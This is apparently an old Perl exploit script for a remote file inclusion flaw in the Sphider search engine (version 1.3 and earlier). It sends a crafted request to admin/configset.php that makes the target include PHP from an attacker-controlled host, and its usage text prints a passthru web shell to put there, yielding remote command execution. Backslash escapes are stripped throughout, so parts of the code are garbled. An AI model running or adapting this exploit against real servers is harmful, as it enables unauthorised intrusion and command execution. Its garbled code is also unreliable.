#!/usr/bin/perl
use IO::Socket;

print "rnSphider <= 1.3 arbitrary remote inclusionrn" ;
print "-> works with register_globals = On & allow_url_fopen = Onrn";
print "by rgod rgod<AT>autistici<DOT>orgrn";
print "site: http://retrogod.altervista.orgrn";
print "rndork: "powered by sphider"rn";

sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

$serv=$ARGV[0];
$path=$ARGV[1];
$loc=urlEncode($ARGV[2]);
$cmd=""; for ($i=3; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};

if (@ARGV < 4)
{
print "rnUsage:rn";
print "perl sphider_xpl.pl server path location commandrnrn";
print "server         - Server where sphider is installed.rn";
print "path           - Path to sphider (ex: /sphider/ or just /) rn";
print "location       - a site with the code to include (without ending slash)rn";
print "command        - a Unix commandrnrn";
print "Example:rn";
print "perl sphider_xpl.pl localhost /sphider/ http://192.168.1.3 ls -larnrn";
print "note: on http location you need this code in /conf.php/index.html :rnrn";
print "<?phprn";
print "ob_clean();rn";
print "if (get_magic_quotes_gpc())rn";
print "{$_GET["cmd"]=stripslashes($_GET["cmd"]);}rn";
print "ini_set("max_execution_time",0);rn";
print "echo 56789;rn";
print "passthru($_GET["cmd"]);rn";
print "die;rn";
print "?>rn";
exit();
}
  $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
  or die "[+] Connecting ... Could not connect to host.nn";
  print $sock "GET ".$path."admin/configset.php?cmd=".$cmd."&settings_dir=".$loc." HTTP/1.0rn";
  print $sock "Host: ".$serv."rn";
  print $sock "Connection: Closernrn";
  $out="";
  while ($answer = <$sock>) {
    $out.=$answer;
  }
  close($sock);
  @temp= split /56789/,$out,2;
  if ($#temp>0) {print "rnExploit succeeded...rn".$temp[1];exit();}
  #if you are here...
  print "rnExploit failed...rn";

# www.Syue.com [2006-04-12]